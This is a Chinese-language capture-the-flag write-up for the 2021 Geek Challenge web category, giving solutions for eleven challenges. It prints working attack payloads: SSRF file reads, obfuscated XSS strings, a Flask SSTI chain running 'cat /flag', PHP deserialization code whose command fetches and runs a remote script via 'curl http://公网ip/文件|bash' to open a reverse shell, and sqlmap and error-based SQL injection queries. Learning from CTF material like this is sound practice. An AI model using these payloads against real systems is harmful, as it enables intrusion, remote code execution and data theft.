【极客大挑战2021】write up

前言

2021的极客大挑战结束了,题目还是挺有意思的,也粗略认识学习了很多新东西,web做了11题出来,都大致写下思路吧。

Write Up

Welcome2021

进入网页后一串hint,得知这关考察的是html的知识,那我们先查看网页源码,发现提示要用WELCOME请求方法来请求网页,那我们抓包然后改变请求方法:

下一步是去f1111aaaggg9.php,记得保持WELCOME请求方法,访问就可以了:

Dark

题目给的URL是一个onion结尾的链接,这就意味着我们需要一个Tor浏览器和魔法上网工具,这些东西只能自己动手丰衣足食了,用洋葱浏览器打开链接查看源码获得flag:
gc3.PNG

babyphp

进入网页没有什么有效信息,查看源码发现提示我们查看robots,发现藏了一个noobcurl.php,进入之后是一段源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function ssrf_me($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}

if(isset($_GET['url'])){
ssrf_me($_GET['url']);
}
else{
highlight_file(__FILE__);
echo "<!-- 有没有一种可能,flag在根目录 -->";
}

一段curl代码,不出意外这就是题php文件包含题了,再结合提示flag在根目录中,直接构建payload:

1
?url=file:///flag

得到flag:

蜜雪冰城甜蜜蜜

要求我们点出第九杯饮料,然而下面菜单只有8杯饮料,f12查看发现菜单的每瓶饮料都对应了一个id,第一杯就是1,那么我们把这个id改成9,再点击菜单上的那杯饮料就可以了:

雷克雅未克

进网页浏览一遍,其他都是虚的,只有中间这几行是重要的:

这一看就是伪造xff,但是这个经纬度是什么意思呢,点击一下检测位置抓个包看看:

好嘛,原来经纬度就是cookie中的数据,那我们用网站给的经纬度查询查出经纬度并代入cookie中,再伪造xff,得到一串奇奇怪怪的东西:

一般这种奇奇怪怪的东西放在控制台里跑都会有惊喜出现:

babyxss

关于xss具体原理等等等之后刷DVWA再具体细说,这里就简单讲下解法。

第一种解法,由于我们发现alert被过滤了,那么我们可以使用Data URI,插入一个html文档来进行注入:

1
</script><script src=data:text/html,%61%6c%65%72%74(1)>

第二种解法,有点魔幻,我也不会解释,就直接给payload以及链接了:

1
"+[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1] + (''+!1)[2] + (''+!1)[4] +(''+!0)[1]+(''+!0)[0]+"(1)")())//

上述payload分析

两种解法都可以得到flag:

babypy

一题flask SSTI漏洞题,做题时简单学习了下,具体原理可以参考这篇博客:
flask SSTI漏洞

直接讲题,首先获取基本类,这里用mro试了好像不行,因此用base来进行注入:

1
{{{}.__class__.__bases__[0]}}

获得基本类名只有一个object,接下来获取其子类:

1
{{{}.__class__.__bases__[0].__subclasses__()}}

可以发现这个子类是相当的多啊,,但其实关键的也就那几个,搜索一番其中有一个叫warnings.catch_warnings,首先我们要定位这个子类的位置,这题不能直接通过命令获取,那我们就大致判断缩小范围,最后锁定位置是208。接着直接构建命令拿到flag:

1
{{{}.__class__.__bases__[0].__subclasses__()[208].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}

babyPOP

php反序列化的题目。代码审计一遍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}

class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}

class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}

class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}

具体分析:
我们发现能够获取flag文件的只有exec()函数,而要触发则需要a::$Do_u_like_AFKL为true,在类d中的__invoke()方法可以做到这点。__invoke()会在脚本尝试将对象调用为函数时触发,我们在类e中找到了这一触发方式,因为我们在类c中使得a::$Do_u_like_JiaRan;所以只要在类e中使$afkl=new d()即可。而类c是一个__wakeup()方法,因此我们反序列化的对象应该就是类c。同时类b是一个__toString()方法,一个对象被当作字符串使用时触发,这个方法在类d中被发现。

这就都对上了,接下来构建payload。在类d中将$this->value赋值为类b的实例化对象即可输出类b,但d中没有$value变量,因此我们自己创造一个。接着调用d类,在类e中使$afkl=new d()即可。最后将类c和类e连接,在类c中构造一个变量,使他的值为new e()即可。

而由于exec()无回显,因此需要进行反弹shell。

最后payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}

class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __construct()
{
$this->i_want_2_listen_2_MaoZhongDu="curl http://公网ip/文件|bash";
}

public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

class c {
public $b;
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}

class d {
public $value;
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}

class e {
public $afkl;
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

$c=new c();
$e=new e();
$d=new d();
$b=new b();
$b->value=$b;
$d->value=$b;
$e->afkl=$d;
$c->b=$e;
echo base64_encode(serialize($c));

将输出结果get进网页,进行反弹shell,得到flag:

Baby_PHP_Black_Magic_Enlightenment

进入网页先进行代码审计:GET进一个password,这个值要大于9999但不能是个数字,这种题做过很多次了,password=10000a就可以了。但是发现虽然显示了”How’s that possible”,但是页面却没有回显2.php的内容,可能是被注释了,f12查看发现确实如此:

前往下一步,又是一串代码,审计一遍发现意思是GET一个user和一个pass,两者的内容不能一致但是sha1加密后的值要相等,这里利用sha1函数与md5函数共有的漏洞,以数组的方式进行检测:

1
?user[0]=123&pass[1]=123

这样我们就成功进入了下一关baby_revenge.php,这次也是sha1产生的hash碰撞,但是数组被过滤掉了,看起来这次是碰到硬茬了。但是在我查找资料的时候,找到了这么一篇博客:
关于SHA1碰撞——比较两个binary的不同之处
这篇博客的内容相当的厉害,里面提到了google出两个SHA1值相同而不一样的pdf文件并利用了这两个文件进行hash碰撞,我们直接构造这个payload得到下一个文件here_s_the_flag.php:

这是最后一关了,我们要GET一个id进去,要求id进行一次url解码后要是字符串”Longlone”,但是id中不能检测到”Longlone”。这一关其实也很简单,因为网页在读取时会先进行一次url解码,接着代码中会再次进行一次,因此我们将这个字符串进行两次url编码就可以了。

babysql

最简单的sql注入了,POST类型。直接用sqlmap跑就能出来了。手工注入我测试出来了联合注入,盲注等等都可以,报错注入由于无回显因此不能使用。这里就跑个sqlmap吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
python2 sqlmap.py -r 1.txt --dbs

available databases [6]:
[*] babysql
[*] flag
[*] information_schema
[*] mysql
[*] performance_schema
[*] test


python2 sqlmap.py -r 1.txt -D flag --tables

Database: flag
[1 table]
+-------+
| fllag |
+-------+


python2 sqlmap.py -r 1.txt -D flag -T fllag --columns

Database: flag
Table: fllag
[2 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| fllllllag | varchar(100) |
| wlz | varchar(100) |
+-----------+--------------+


python2 sqlmap.py -r 1.txt -D flag -T fllag -C fllllllag --dump

Database: flag
Table: fllag
[1 entry]
+------------------------+
| fllllllag |
+------------------------+
| SYC{U_4N0vv_Sql_Noyv~} |
+------------------------+

anothersql

这题就存在着一定的过滤了,联合查询不能用,updatexml和extractvalue也是被过滤了,但是floor,没有被过滤,用floor过滤就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
admin' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)#

Duplicate entry 'true____flag1' for key '<group_key>'


admin' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='true____flag'),floor (rand(0)*2))x from information_schema.tables group by x)a)#

Duplicate entry 'syclover1' for key '<group_key>'


admin' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='true____flag' and table_name='syclover'),floor (rand(0)*2))x from information_schema.tables group by x)a)#

Duplicate entry 'id,uname,pwd,flag1' for key '<group_key>'


admin' and (select 1 from (select count(*),concat((select concat(flag) from syclover limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)#

Duplicate entry 'SYC{U_4N0vv_3rR0r_Inj3c410n}1' for key '<group_key>'

总结

这次比赛还是见识了很多新玩意儿的,以后刷靶场的时候可以进行拓展,也巩固了已有的只是,继续努力。